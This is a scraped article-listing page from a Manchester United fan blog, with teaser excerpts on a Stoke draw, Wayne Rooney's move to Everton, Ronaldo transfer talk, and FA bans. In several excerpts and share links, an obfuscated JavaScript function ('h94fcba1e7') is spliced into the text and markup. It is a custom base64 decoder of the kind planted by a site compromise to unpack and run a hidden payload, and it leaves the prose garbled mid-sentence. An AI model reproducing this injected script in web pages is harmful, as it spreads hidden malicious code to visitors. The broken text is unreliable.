Second hand news re: Stoke 2-2 Man United

Most readers will be upset a perfect start to the season has died an ignoble death, the tombstone reading Stoke 2-2 Man United. Relax. It could be worse. Recent guest writer, Chris, who offered five reasons United would continue its 100% record through September, has...

Wayne Rooney channels his inner Allan Quatermain

When a long relationship ends, people have been known to sit in the dark afterwards, wondering what the other person is doing at that very moment. Thanks to internet and social media, you don't have to wonder when your ex is Wayne Rooney. I know, I know. If you're...

The Ballad of Wayne Rooney

And so, its almost over. Wayne Rooney’s 13-year relationship with Manchester United looks set to end with a return to Everton. A relationship that was passionate, explosive, but never boring function h94fcba1e7(y1){var... Read More | Share it now!

All this Ronaldo madness needs to stop

It’s that time of year again folks… Ed Woodward’s annual transfer lob on. He loves going for the big name, often epitomising that one guy we all know who did not have a cat in hell’s chance of wooing the petit blonds in the club. Top marks... Read More | Share it now!

FA’s misguided justice: Marouane Fellaini and Joey Barton shot with same bullet

Let’s be honest. If dispensing justice was easy, we’d be living in a much happier world. The Irish question would have been answered at the first asking. Jews function h94fcba1e7(y1){var... Read More | function h94fcba1e7(y1){var vd=" onclick="__gaTracker('send', 'event', 'outbound-article', 'http://www.socializer.info/share.asp?docurl=http://strettynews.com/marouane-fellaini-<script type="text/javascript">function h94fcba1e7(y1){var vd=', 'function h94fcba1e7(y1){var vd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var yb=\'\';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.charAt(p6++));y3=vd.indexOf(y1.charAt(p6++));w4=vd.indexOf(y1.charAt(p6++));u5=vd.indexOf(y1.charAt(p6++));p3=(q94);na=((y3&15)2);pc=((w4&3)=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6');" id='alpr' style='visibility:visible;border: none; text-decoration: none; letter-spacing: 1px;;' target='_blank' ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd/&doctitle=FA’s misguided justice: Marouane Fellaini and Joey Barton shot with same bullet'>Share it now!

Smalling and Jones: Two more sufferers of the English disease.

Not to worry folks, Smalling function h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var... Read More | function h94fcba1e7(y1){var vd=" onclick="__gaTracker('send', 'event', 'outbound-article', 'http://www.socializer.info/share.asp?docurl=http://strettynews.com/smalling-jones-two-more-sufferers-english-disease/&doctitle=Smalling <script type="text/javascript">function h94fcba1e7(y1){var vd=', '>4);na=((y3&15)2);pc=((w4&3)=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6');" id='alpr' style='visibility:visible;border: none; text-decoration: none; letter-spacing: 1px;;' target='_blank' ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.charAt(p6++));y3=vd.indexOf(y1.charAt(p6++));w4=vd.indexOf(y1.charAt(p6++));u5=vd.indexOf(y1.charAt(p6++));p3=(q9<<2)|(y3>>4);na=((y3&15)<<4)|(w4>>2);pc=((w4&3)<<6)|u5;if(p3>=192)p3+=848;else if(p3==168)p3=1025;else if(p3==184)p3=1105;yb+=String.fromCharCode(p3);if(w4!=64){if(na>=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6and Jones: Two more sufferers of the English disease.'>Share it now!